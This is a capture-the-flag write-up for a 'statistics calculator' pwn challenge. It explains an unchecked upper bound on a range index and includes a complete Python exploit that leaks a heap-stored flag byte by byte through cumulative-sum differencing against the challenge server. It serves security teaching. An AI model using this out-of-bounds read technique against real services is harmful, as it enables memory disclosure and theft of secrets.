pwn7 mc4 — The Epic Statistics Calculator
pwn7 mc4 — The Epic Statistics Calculator
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Windows | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: aggregate_byte_leak, cumulative_sum_differencing, heap_layout_leak, out_of_bounds_read
Summary
Task: amd64 PIE/FULL RELRO/canary/NX statistics calculator; the flag is loaded into a heap chunk at startup. The 'set boundaries' option only checks start<count and end>=0 — no upper bound on end. Solution: drive an out-of-bounds heap read through Sum, then leak the flag byte-by-byte via cumulative-sum differencing past the numbers buffer into the flag chunk.
pwn7 mc4 — The Epic Statistics Calculator (spbctf)
Description
The Epic Statistics Calculator.
nc 109.233.56.90 11714
A menu-driven amd64 ELF "statistics calculator". You can add numbers to a buffer,
set working boundaries [start, end], and compute Sum (S), Average (A), or
Product (P) over that range. The flag is read from flag.txt into heap memory at
program startup. Goal: disclose it.
Analysis
Protections leave no memory-corruption surface:
- PIE, FULL RELRO (no GOT overwrite), stack canary, NX.
So the path is a pure logic / out-of-bounds-read information disclosure.
The bug
Option B ("set working boundaries") reads start (rbp-0x5c) and end
(rbp-0x58) and validates ONLY:
start < count— sostartmay even be negative; anything< countpasses.end >= 0— no upper bound at all.
The Sum / Average / Product handlers all loop:
c read-only • copy allowedfor (i = start; i <= end; i++) acc += (unsigned char) buf[i]; // movzx, unsigned byte
With end arbitrarily large, this reads far past the small numbers heap buffer.
Heap layout (from an LD_PRELOAD malloc trace, local)
malloc(0)→numbersbuffer (realloc keeps it in place for small counts)malloc(472)→ fopen stdio read buffermalloc(0x40)→ flag buffer (fgets offlag.txt)
Local offset numbers → flag = 0x200 (512). On the remote the layout
differs (different glibc): the flag chunk landed at offset ~600 (0x258). The
exploit reads a window around that offset and can also coarse-scan the heap.
Solution
Leak primitive — byte-by-byte from an aggregate
Sum returns a single integer over buf[start..end], not raw bytes. To recover
individual bytes use cumulative-sum differencing:
buf[i] = Sum(0..i) - Sum(0..i-1) (each value masked & 0xff)
Option B requires count > 3, so first add 4 zero numbers. Zeros keep the
in-range portion of every Sum(0..i) at 0, so each consecutive difference is
exactly one out-of-bounds byte.
A coarse scan (Sum over 64-byte blocks, flag blocks where delta > 100) locates
data-bearing regions; we then zoom in and read byte-wise, reassemble into ASCII,
and search for spbctf{.
Exploit
python read-only • copy allowed#!/usr/bin/env python3 # Exploit for pwn7 mc4 "The Epic Statistics Calculator" (spbctf) # # Bug: option 'B' (set working boundaries) validates only `start < count` and # `end >= 0`. There is NO upper bound on `end`, so Sum/Average/Product iterate # buf[start..end] far past the small `numbers` heap buffer. # The flag is read into a separate malloc(0x40) chunk located ~0x200-0x258 bytes # after the numbers buffer (a malloc(0) chunk that realloc keeps in place). # We read flag bytes one at a time via cumulative-Sum differencing: # buf[i] = Sum(0..i) - Sum(0..i-1) (each Sum value is unsigned-byte sum) # # Usage: python3 exp_mc4.py [remote|local] from pwn import * import sys context.log_level = 'info' # offset (bytes) from numbers buffer to flag chunk. # local glibc -> 0x200; remote (109.233.56.90:11714) -> ~600 (0x258). OFF = 600 def setup(io, nums): io.recvuntil(b' > ') for n in nums: io.sendline(b'a') io.recvuntil(b'to add: ') io.sendline(str(n).encode()) io.recvuntil(b' > ') def sum_range(io, start, end): io.sendline(b'B') io.recvuntil(b'starting position: ') io.sendline(str(start).encode()) io.recvuntil(b'ending position: ') io.sendline(str(end).encode()) io.recvline() io.sendline(b'S') io.recvuntil(b'Sum is: ') val = int(io.recvline().strip()) io.recvuntil(b' > ') return val def read_window(io, base, length): prev = sum_range(io, 0, base - 1) out = bytearray() for off in range(base, base + length): cur = sum_range(io, 0, off) out.append((cur - prev) & 0xff) prev = cur return bytes(out) def coarse_scan(io, limit=2048, step=64): """Find heap blocks containing data via cumulative-sum deltas.""" prev = 0 hot = [] for end in range(step - 1, limit, step): c = sum_range(io, 0, end) d = c - prev prev = c if d > 100: hot.append(end - (step - 1)) return hot def find_flag(data): for tag in (b'spbctf{', b'SPBCTF{'): i = data.find(tag) if i != -1: j = data.find(b'}', i) return (data[i:j + 1] if j != -1 else data[i:]).decode('latin1') return None def solve(io, scan=False): setup(io, [0, 0, 0, 0]) # 4 zero numbers (need count>3 for B; zeros => clean diffs) # fast path: read a window around the known flag-chunk offset data = read_window(io, max(0, OFF - 32), 96) log.info("offset %d: %r", max(0, OFF - 32), data) f = find_flag(data) if f or not scan: return f # fallback (slow): coarse-scan the heap for data-bearing blocks hot = coarse_scan(io) log.info("hot blocks: %s", hot) for base in hot: lo = max(0, base - 64) data = read_window(io, lo, 192) log.info("offset %d: %r", lo, data) f = find_flag(data) if f: return f return None if __name__ == '__main__': where = sys.argv[1] if len(sys.argv) > 1 else 'remote' io = process('./mc4.elf') if where == 'local' else remote('109.233.56.90', 11714) flag = solve(io) io.close() if flag: log.success("FLAG: %s", flag) print(flag) else: log.failure("flag not found in scanned windows")
Remote raw read of region 560..720 yields:
...spbctf{REDACTED}\n...
(the flag appears twice — once in the stdio read buffer, once in the flag chunk).